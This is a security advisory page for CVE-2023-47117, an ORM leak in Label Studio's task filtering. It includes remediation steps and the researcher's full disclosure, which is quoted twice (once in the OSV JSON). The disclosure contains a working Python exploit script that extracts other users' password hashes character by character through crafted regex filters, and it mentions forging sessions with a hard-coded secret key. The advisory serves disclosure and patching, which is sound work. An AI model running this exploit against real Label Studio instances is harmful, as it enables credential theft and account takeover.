CVE-2023-47117: Label studio Label Studio Object Relational Mapper Vulnerability

HIGH
Advisory Identifier: GHSA-6hjj-gq77-j4qw
CVSS 7.5
CWE-200
Published
Advisory Summary

CVE-2023-47117 is a HIGH (CVSS 7.5) label studio object relational mapper vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Label studio libraries in the PyPI ecosystem. The issue involves label studio object relational mapper leak vulnerability in filtering task. Remediation is available by upgrading affected packages to version 1.9.2.post0.

CVE-2023-47117 at a Glance

CVE Identifier CVE-2023-47117
GHSA Identifier GHSA-6hjj-gq77-j4qw
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Label studio
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2023-47117

To remediate this vulnerability, upgrade all affected Label studio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

label-studio fixed: 1.9.2.post0
pip install label-studio>=1.9.2.post0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show label-studio

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2023-47117, inspect your installed packages using pip:

pip show label-studio

Analyze the terminal output to locate any version of Label studio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.2.post0), your application is affected.

Note: The pip show label-studio command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Label studio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Introduction This write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to `1.9.2post0` and was tested on version `1.8.2`. # Overview In all current versions of [Label Studio](https://github.com/HumanSignal/label-studio), the application allows users to insecurely set filters for filtering tasks. An attacker can construct a *filter chain* to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. For an example, the following filter chain will task results by the password hash of an account on Label Studio. ``` filter:tasks:updated_by__active_organization__active_users__password ``` For consistency, this type of vulnerability will be termed as **ORM Leak** in the rest of this disclosure. In addition, Label Studio had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes. # Description The following code snippet from the `ViewSetSerializer` in [`label_studio/data_manager/serializers.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/data_manager/serializers.py#L115) insecurely creates `Filter` objects from a JSON `POST` request to the `/api/dm/views/{viewId}` API endpoint. ```python @staticmethod def _create_filters(filter_group, filters_data): filter_index = 0 for filter_data in filters_data: filter_data["index"] = filter_index filter_group.filters.add(Filter.objects.create(**filter_data)) filter_index += 1 ``` These `Filter` objects are then applied in the `TaskQuerySet` in [`label_studio/data_manager/managers.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/data_manager/managers.py#L473). ```python class TaskQuerySet(models.QuerySet): def prepared(self, prepare_params=None): """ Apply filters, ordering and selected items to queryset :param prepare_params: prepare params with project, filters, orderings, etc :return: ordered and filtered queryset """ from projects.models import Project queryset = self if prepare_params is None: return queryset project = Project.objects.get(pk=prepare_params.project) request = prepare_params.request queryset = apply_filters(queryset, prepare_params.filters, project, request) <1> queryset = apply_ordering(queryset, prepare_params.ordering, project, request, view_data=prepare_params.data) if not prepare_params.selectedItems: return queryset # included selected items if prepare_params.selectedItems.all is False and prepare_params.selectedItems.included: queryset = queryset.filter(id__in=prepare_params.selectedItems.included) # excluded selected items elif prepare_params.selectedItems.all is True and prepare_params.selectedItems.excluded: queryset = queryset.exclude(id__in=prepare_params.selectedItems.excluded) return queryset ``` 1. User provided filters are insecurely applied here by calling the `apply_filters` that constructs the Django ORM filter. The `PreparedTaskManager` in [`label_studio/data_manager/managers.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/data_manager/managers.py#L655) uses the vulnerable `TaskQuerySet` for building the Django queryset for querying `Task` objects, as shown in the following code snippet. ```python class PreparedTaskManager(models.Manager): #... def get_queryset(self, fields_for_evaluation=None, prepare_params=None, all_fields=False): <1> """ :param fields_for_evaluation: list of annotated fields in task :param prepare_params: filters, ordering, selected items :param all_fields: evaluate all fields for task :param request: request for user extraction :return: task queryset with annotated fields """ queryset = self.only_filtered(prepare_params=prepare_params) return self.annotate_queryset( queryset, fields_for_evaluation=fields_for_evaluation, all_fields=all_fields, request=prepare_params.request ) def only_filtered(self, prepare_params=None): request = prepare_params.request queryset = TaskQuerySet(self.model).filter(project=prepare_params.project) <1> fields_for_filter_ordering = get_fields_for_filter_ordering(prepare_params) queryset = self.annotate_queryset(queryset, fields_for_evaluation=fields_for_filter_ordering, request=request) return queryset.prepared(prepare_params=prepare_params) ``` 1. Special Django method for the `models.Manager` class that is used to retrieve the queryset for querying objects of a model. 2. Uses the vulnerable `TaskQuerySet` that was explained above. The following code snippet of the `Task` model in [`label_studio/tasks/models.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/tasks/models.py#L49C1-L102C102) shows that the vulnerable `PreparedTaskManager` is set as a class variable, along with the `updated_by` relational mapping to a Django user that will be exploited as the entrypoint of the filter chain. ```python # ... class Task(TaskMixin, models.Model): """ Business tasks from project """ id = models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID', db_index=True) # ... updated_by = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='updated_tasks', on_delete=models.SET_NULL, null=True, verbose_name=_('updated by'), help_text='Last annotator or reviewer who updated this task') <1> # ... objects = TaskManager() # task manager by default prepared = PreparedTaskManager() # task manager with filters, ordering, etc for data_manager app <2> # ... ``` 1. The entry point of the filter chain to filter by the `updated_by__active_organization__active_users__password`. 2. The vulnerable `PreparedTaskManager` being set that will be exploited. Finally, the `TaskListAPI` view set in [`label_studio/tasks/api.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/tasks/api.py#L205) with the `/api/tasks` API endpoint uses the vulnerable `PreparedTaskManager` to filter `Task` objects. ```python def get_queryset(self): task_id = self.request.parser_context['kwargs'].get('pk') task = generics.get_object_or_404(Task, pk=task_id) review = bool_from_request(self.request.GET, 'review', False) selected = {"all": False, "included": [self.kwargs.get("pk")]} if review: kwargs = { 'fields_for_evaluation': ['annotators', 'reviewed'] } else: kwargs = {'all_fields': True} project = self.request.query_params.get('project') or self.request.data.get('project') if not project: project = task.project.id return self.prefetch( Task.prepared.get_queryset( prepare_params=PrepareParams(project=project, selectedItems=selected, request=self.request), **kwargs )) <1> ``` 1. Uses the vulnerable `PreparedTaskManager` to filter objects. # Proof of Concept Below are the steps to exploit about how to exploit this vulnerability to leak the password hash of an account on Label Studio. 1. Create two accounts on Label Studio and choose one account to be the victim and the other the hacker account that you will use. 2. Create a new project or use an existing project, then add a task to the project. Update the task with the hacker account to cause the entry point of the filter chain. 3. Navigate to the task view for the project and add any filter with the `Network` inspect tab open on the browser. Look for a `PATCH` request to `/api/dm/views/{view_id}?interaction=filter&project={project_id}` and save the `view_id` and `project_id` for the next step. 4. Download the attached proof of concept exploit script named `labelstudio_ormleak.py`. This script will leak the password hash of the victim account character by character. Run the following command to run the exploit script, replacing the `{view_id}`, `{project_id}`, `{cookie_str}` and `{url}` with the corresponding values. For further explanation run `python3 labelstudio_ormleak.py --help`. ```bash python3 labelstudio_ormleak.py -v {view_id} -p {project_id} -c '{cookie_str}' -u '{url}' ``` The following example GIF demonstrates exploiting this ORM Leak vulnerability to retrieve the password hash `pbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=`. ![labelstudio_ormleak_poc](https://user-images.githubusercontent.com/139727151/266986646-a3d1367c-fb4d-4482-9b6a-18a5d7316385.gif) # Impact This vulnerability can be exploited to completely compromise the confidentiality of highly sensitive account information, such as account password hashes. For all versions `<=1.8.1`, this finding can also be chained with hard coded `SECRET_KEY` to forge session tokens of any user on Label Studio and could be abuse to deteriorate the integrity and availability. # Remediation Advice * Do not use unsanitised values for constructing a filter for querying objects using Django's ORM. Django's ORM allows querying by relation field and performs auto lookups, that enable filtering by sensitive fields. * Validate filter values to an allow list before performing any queries. # Discovered - August 2023, Alex Brown, elttam --- # `labelstudio_ormleak.py` proof of concept ```py import argparse import re import requests import string import sys # Password hash characters CHARS = string.ascii_letters + string.digits + '$/+=_!' CHARS_LEN = len(CHARS) PAYLOAD = { "data": { "columnsDisplayType": {}, "columnsWidth": {}, "filters": { "conjunction": "and", "items": [ { "filter": "filter:tasks:updated_by__active_organization__active_users__password", # ORM Leak filter chain "operator": "regex", # Use regex operator to filter password hash value "type": "String", "value": "REPLACEME" } ] }, "gridWidth": 4, "hiddenColumns":{"explore":["tasks:inner_id"],"labeling":["tasks:id","tasks:inner_id"]}, "ordering": [], "search_text": None, "target": "tasks", "title": "Default", "type": "list" }, "id": 1, # View ID "project": "1" # Project ID } def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser( description='Leak an accounts password hash by exploiting a ORM Leak vulnerability in Label Studio' ) parser.add_argument( '-v', '--view-id', help='View id of the page', type=int, required=True ) parser.add_argument( '-p', '--project-id', help='Project id to filter tasks for', type=int, required=True ) parser.add_argument( '-c', '--cookie-str', help='Cookie string for authentication', required=True ) parser.add_argument( '-u', '--url', help='Base URL to Label Studio instance', required=True ) return parser.parse_args() def setup() -> dict: args = parse_args() view_id = args.view_id project_id = args.project_id path_1 = "/api/dm/views/{view_id}?interaction=filter&project={project_id}".format( view_id=view_id, project_id=project_id ) path_2 = "/api/tasks?page=1&page_size=1&view={view_id}&interaction=filter&project={project_id}".format( view_id=view_id, project_id=project_id ) PAYLOAD["id"] = view_id PAYLOAD["project"] = str(project_id) config_dict = { 'COOKIE_STR': args.cookie_str, 'URL_PATH_1': args.url + path_1, 'URL_PATH_2': args.url + path_2, 'PAYLOAD': PAYLOAD } return config_dict def test_payload(config_dict: dict, payload) -> bool: sys.stdout.flush() cookie_str = config_dict["COOKIE_STR"] r_set = requests.patch( config_dict["URL_PATH_1"], json=payload, headers={ "Cookie": cookie_str } ) r_listen = requests.get( config_dict['URL_PATH_2'], headers={ "Cookie": cookie_str } ) r_json = r_listen.json() return len(r_json["tasks"]) >= 1 def test_char(config_dict, known_hash, c): json_payload_suffix = PAYLOAD test_escaped = re.escape(known_hash + c) json_payload_suffix["data"]["filters"]["items"][0]["value"] = f"^{test_escaped}" suffix_result = test_payload(config_dict, json_payload_suffix) if suffix_result: return (known_hash + c, c) return None def main(): config_dict = setup() # By default Label Studio password hashes start with these characters known_hash = "pbkdf2_sha256$260000$" print() print(f"dumped: {known_hash}", end="") sys.stdout.flush() while True: found = False for c in CHARS: r = test_char(config_dict, known_hash, c) if not r is None: new_hash, c = r known_hash = new_hash print(c, end="") sys.stdout.flush() found = True break if not found: break print() if __name__ == "__main__": main() ```

CVE-2023-47117 Affected Label studio Versions

1 component(s)
Fixed Versions:
1.9.2.post0
Product / Package Ecosystem Affected Versions Fixed Version
label-studio
PyPI
< 1.9.2.post0
1.9.2.post0

References

Frequently Asked Questions

What is CVE-2023-47117?
CVE-2023-47117 is a security vulnerability in Label studio involving Label Studio Object Relational Mapper Leak Vulnerability in Filtering Task under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Label studio versions are affected?
Affected versions include releases prior to 1.9.2.post0 across affected packages: label-studio.
What version fixes CVE-2023-47117?
Upgrading to 1.9.2.post0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is label-studio affected?
Yes, label-studio is affected in releases prior to 1.9.2.post0. Upgrade your dependency to 1.9.2.post0 or later.
What is the CVSS score of CVE-2023-47117?
CVE-2023-47117 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2023-47117?
CVE-2023-47117 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check PyPI dependencies for CVE-2023-47117?
Run the dependency tree command: 'pip show label-studio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6hjj-gq77-j4qw",
  "modified" : "2024-11-22T17:58:56Z",
  "published" : "2023-11-14T18:27:08Z",
  "aliases" : [ "CVE-2023-47117" ],
  "summary" : "Label Studio Object Relational Mapper Leak Vulnerability in Filtering Task",
  "details" : "# Introduction\n\nThis write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to `1.9.2post0` and was tested on version `1.8.2`.\n\n# Overview\n\nIn all current versions of [Label Studio](https://github.com/HumanSignal/label-studio), the application allows users to insecurely set filters for filtering tasks. An attacker can construct a *filter chain* to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. For an example, the following filter chain will task results by the password hash of an account on Label Studio.\n\n```\nfilter:tasks:updated_by__active_organization__active_users__password\n```\n\nFor consistency, this type of vulnerability will be termed as **ORM Leak** in the rest of this disclosure. \n\nIn addition, Label Studio had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes.\n\n# Description\n\nThe following code snippet from the `ViewSetSerializer` in [`label_studio/data_manager/serializers.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/data_manager/serializers.py#L115) insecurely creates `Filter` objects from a JSON `POST` request to the `/api/dm/views/{viewId}` API endpoint.\n\n```python\n    @staticmethod\n    def _create_filters(filter_group, filters_data):\n        filter_index = 0\n        for filter_data in filters_data:\n            filter_data[\"index\"] = filter_index\n            filter_group.filters.add(Filter.objects.create(**filter_data))\n            filter_index += 1\n```\n\nThese `Filter` objects are then applied in the `TaskQuerySet` in [`label_studio/data_manager/managers.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/data_manager/managers.py#L473).\n\n```python\nclass TaskQuerySet(models.QuerySet):\n    def prepared(self, prepare_params=None):\n        \"\"\" Apply filters, ordering and selected items to queryset\n\n        :param prepare_params: prepare params with project, filters, orderings, etc\n        :return: ordered and filtered queryset\n        \"\"\"\n        from projects.models import Project\n\n        queryset = self\n\n        if prepare_params is None:\n            return queryset\n\n        project = Project.objects.get(pk=prepare_params.project)\n        request = prepare_params.request\n        queryset = apply_filters(queryset, prepare_params.filters, project, request) <1>\n        queryset = apply_ordering(queryset, prepare_params.ordering, project, request, view_data=prepare_params.data)\n\n        if not prepare_params.selectedItems:\n            return queryset\n\n        # included selected items\n        if prepare_params.selectedItems.all is False and prepare_params.selectedItems.included:\n            queryset = queryset.filter(id__in=prepare_params.selectedItems.included)\n\n        # excluded selected items\n        elif prepare_params.selectedItems.all is True and prepare_params.selectedItems.excluded:\n            queryset = queryset.exclude(id__in=prepare_params.selectedItems.excluded)\n\n        return queryset\n```\n1. User provided filters are insecurely applied here by calling the `apply_filters` that constructs the Django ORM filter.\n\nThe `PreparedTaskManager` in [`label_studio/data_manager/managers.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/data_manager/managers.py#L655) uses the vulnerable `TaskQuerySet` for building the Django queryset for querying `Task` objects, as shown in the following code snippet.\n\n```python\nclass PreparedTaskManager(models.Manager):\n    #...\n\n    def get_queryset(self, fields_for_evaluation=None, prepare_params=None, all_fields=False): <1>\n        \"\"\"\n        :param fields_for_evaluation: list of annotated fields in task\n        :param prepare_params: filters, ordering, selected items\n        :param all_fields: evaluate all fields for task\n        :param request: request for user extraction\n        :return: task queryset with annotated fields\n        \"\"\"\n        queryset = self.only_filtered(prepare_params=prepare_params)\n        return self.annotate_queryset(\n            queryset,\n            fields_for_evaluation=fields_for_evaluation,\n            all_fields=all_fields,\n            request=prepare_params.request\n        )\n\n    def only_filtered(self, prepare_params=None):\n        request = prepare_params.request\n        queryset = TaskQuerySet(self.model).filter(project=prepare_params.project) <1>\n        fields_for_filter_ordering = get_fields_for_filter_ordering(prepare_params)\n        queryset = self.annotate_queryset(queryset, fields_for_evaluation=fields_for_filter_ordering, request=request)\n        return queryset.prepared(prepare_params=prepare_params)\n```\n1. Special Django method for the `models.Manager` class that is used to retrieve the queryset for querying objects of a model.\n2. Uses the vulnerable `TaskQuerySet` that was explained above.\n\nThe following code snippet of the `Task` model in [`label_studio/tasks/models.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/tasks/models.py#L49C1-L102C102) shows that the vulnerable `PreparedTaskManager` is set as a class variable, along with the `updated_by` relational mapping to a Django user that will be exploited as the entrypoint of the filter chain.\n\n```python\n# ...\nclass Task(TaskMixin, models.Model):\n    \"\"\" Business tasks from project\n    \"\"\"\n    id = models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID', db_index=True)\n\n    # ...\n\n    updated_by = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='updated_tasks',\n        on_delete=models.SET_NULL, null=True, verbose_name=_('updated by'),\n        help_text='Last annotator or reviewer who updated this task') <1>\n\n    # ...\n\n    objects = TaskManager()  # task manager by default\n    prepared = PreparedTaskManager()  # task manager with filters, ordering, etc for data_manager app <2>\n\n    # ...\n```\n1. The entry point of the filter chain to filter by the `updated_by__active_organization__active_users__password`.\n2. The vulnerable `PreparedTaskManager` being set that will be exploited.\n\nFinally, the `TaskListAPI` view set in [`label_studio/tasks/api.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/tasks/api.py#L205) with the `/api/tasks` API endpoint uses the vulnerable `PreparedTaskManager` to filter `Task` objects.\n\n```python\n    def get_queryset(self):\n        task_id = self.request.parser_context['kwargs'].get('pk')\n        task = generics.get_object_or_404(Task, pk=task_id)\n        review = bool_from_request(self.request.GET, 'review', False)\n        selected = {\"all\": False, \"included\": [self.kwargs.get(\"pk\")]}\n        if review:\n            kwargs = {\n                'fields_for_evaluation': ['annotators', 'reviewed']\n            }\n        else:\n            kwargs = {'all_fields': True}\n        project = self.request.query_params.get('project') or self.request.data.get('project')\n        if not project:\n            project = task.project.id\n        return self.prefetch(\n            Task.prepared.get_queryset(\n                prepare_params=PrepareParams(project=project, selectedItems=selected, request=self.request),\n                **kwargs\n            )) <1>\n```\n1. Uses the vulnerable `PreparedTaskManager` to filter objects.\n\n# Proof of Concept\n\nBelow are the steps to exploit about how to exploit this vulnerability to leak the password hash of an account on Label Studio.\n\n1. Create two accounts on Label Studio and choose one account to be the victim and the other the hacker account that you will use.\n2. Create a new project or use an existing project, then add a task to the project. Update the task with the hacker account to cause the entry point of the filter chain.\n3. Navigate to the task view for the project and add any filter with the `Network` inspect tab open on the browser. Look for a `PATCH` request to `/api/dm/views/{view_id}?interaction=filter&project={project_id}` and save the `view_id` and `project_id` for the next step.\n4. Download the attached proof of concept exploit script named `labelstudio_ormleak.py`. This script will leak the password hash of the victim account character by character. Run the following command to run the exploit script, replacing the `{view_id}`, `{project_id}`, `{cookie_str}` and `{url}` with the corresponding values. For further explanation run `python3 labelstudio_ormleak.py --help`.\n\n```bash\npython3 labelstudio_ormleak.py -v {view_id} -p {project_id} -c '{cookie_str}' -u '{url}'\n```\n\nThe following example GIF demonstrates exploiting this ORM Leak vulnerability to retrieve the password hash `pbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=`.\n\n![labelstudio_ormleak_poc](https://user-images.githubusercontent.com/139727151/266986646-a3d1367c-fb4d-4482-9b6a-18a5d7316385.gif)\n\n# Impact\n\nThis vulnerability can be exploited to completely compromise the confidentiality of highly sensitive account information, such as account password hashes. For all versions `<=1.8.1`, this finding can also be chained with hard coded `SECRET_KEY` to forge session tokens of any user on Label Studio and could be abuse to deteriorate the integrity and availability.\n\n# Remediation Advice\n\n* Do not use unsanitised values for constructing a filter for querying objects using Django's ORM. Django's ORM allows querying by relation field and performs auto lookups, that enable filtering by sensitive fields.\n* Validate filter values to an allow list before performing any queries.\n\n# Discovered\n- August 2023, Alex Brown, elttam\n\n---\n# `labelstudio_ormleak.py` proof of concept\n\n```py\nimport argparse\nimport re\nimport requests\nimport string\nimport sys\n\n# Password hash characters\nCHARS = string.ascii_letters + string.digits + '$/+=_!'\nCHARS_LEN = len(CHARS)\n\nPAYLOAD = {\n    \"data\": {\n        \"columnsDisplayType\": {},\n        \"columnsWidth\": {},\n        \"filters\": {\n            \"conjunction\": \"and\",\n            \"items\": [\n                {\n                    \"filter\": \"filter:tasks:updated_by__active_organization__active_users__password\", # ORM Leak filter chain\n                    \"operator\": \"regex\", # Use regex operator to filter password hash value\n                    \"type\": \"String\",\n                    \"value\": \"REPLACEME\"\n                }\n            ]\n        },\n        \"gridWidth\": 4,\n        \"hiddenColumns\":{\"explore\":[\"tasks:inner_id\"],\"labeling\":[\"tasks:id\",\"tasks:inner_id\"]},\n        \"ordering\": [],\n        \"search_text\": None,\n        \"target\": \"tasks\",\n        \"title\": \"Default\",\n        \"type\": \"list\"\n    },\n    \"id\": 1, # View ID\n    \"project\": \"1\" # Project ID\n}\n\ndef parse_args() -> argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description='Leak an accounts password hash by exploiting a ORM Leak vulnerability in Label Studio'\n    )\n\n    parser.add_argument(\n        '-v', '--view-id',\n        help='View id of the page',\n        type=int,\n        required=True\n    )\n\n    parser.add_argument(\n        '-p', '--project-id',\n        help='Project id to filter tasks for',\n        type=int,\n        required=True\n    )\n\n    parser.add_argument(\n        '-c', '--cookie-str',\n        help='Cookie string for authentication',\n        required=True\n    )\n\n    parser.add_argument(\n        '-u', '--url',\n        help='Base URL to Label Studio instance',\n        required=True\n    )\n\n    return parser.parse_args()\n\ndef setup() -> dict:\n    args = parse_args()\n    view_id = args.view_id\n    project_id = args.project_id\n    path_1 = \"/api/dm/views/{view_id}?interaction=filter&project={project_id}\".format(\n        view_id=view_id,\n        project_id=project_id\n    )\n    path_2 = \"/api/tasks?page=1&page_size=1&view={view_id}&interaction=filter&project={project_id}\".format(\n        view_id=view_id,\n        project_id=project_id\n    )\n    PAYLOAD[\"id\"] = view_id\n    PAYLOAD[\"project\"] = str(project_id)\n    \n    config_dict = {\n        'COOKIE_STR': args.cookie_str,\n        'URL_PATH_1': args.url + path_1,\n        'URL_PATH_2': args.url + path_2,\n        'PAYLOAD': PAYLOAD\n    }\n    return config_dict\n\ndef test_payload(config_dict: dict, payload) -> bool:\n    sys.stdout.flush()\n    cookie_str = config_dict[\"COOKIE_STR\"]\n    r_set = requests.patch(\n        config_dict[\"URL_PATH_1\"],\n        json=payload,\n        headers={\n            \"Cookie\": cookie_str\n        }\n    )\n\n    r_listen = requests.get(\n        config_dict['URL_PATH_2'],\n        headers={\n            \"Cookie\": cookie_str\n        }\n    )\n\n    r_json = r_listen.json()\n    return len(r_json[\"tasks\"]) >= 1\n\ndef test_char(config_dict, known_hash, c):\n    json_payload_suffix = PAYLOAD\n    test_escaped = re.escape(known_hash + c)\n    json_payload_suffix[\"data\"][\"filters\"][\"items\"][0][\"value\"] =  f\"^{test_escaped}\"\n\n    suffix_result = test_payload(config_dict, json_payload_suffix)\n    if suffix_result:\n        return (known_hash + c, c)\n    \n    return None\n\ndef main():\n    config_dict = setup()\n    # By default Label Studio password hashes start with these characters\n    known_hash = \"pbkdf2_sha256$260000$\"\n    print()\n    print(f\"dumped: {known_hash}\", end=\"\")\n    sys.stdout.flush()\n\n    while True:\n        found = False\n\n        for c in CHARS:\n            r = test_char(config_dict, known_hash, c)\n            if not r is None:\n                new_hash, c = r\n                known_hash = new_hash\n                print(c, end=\"\")\n                sys.stdout.flush()\n                found = True\n                break\n\n        if not found:\n            break\n\n    print()\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "label-studio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.2.post0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6hjj-gq77-j4qw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-47117"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/commit/f931d9d129002f54a495995774ce7384174cef5c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HumanSignal/label-studio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2023-275.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-11-14T18:27:08Z",
    "nvd_published_at" : "2023-11-13T21:15:08Z"
  }
}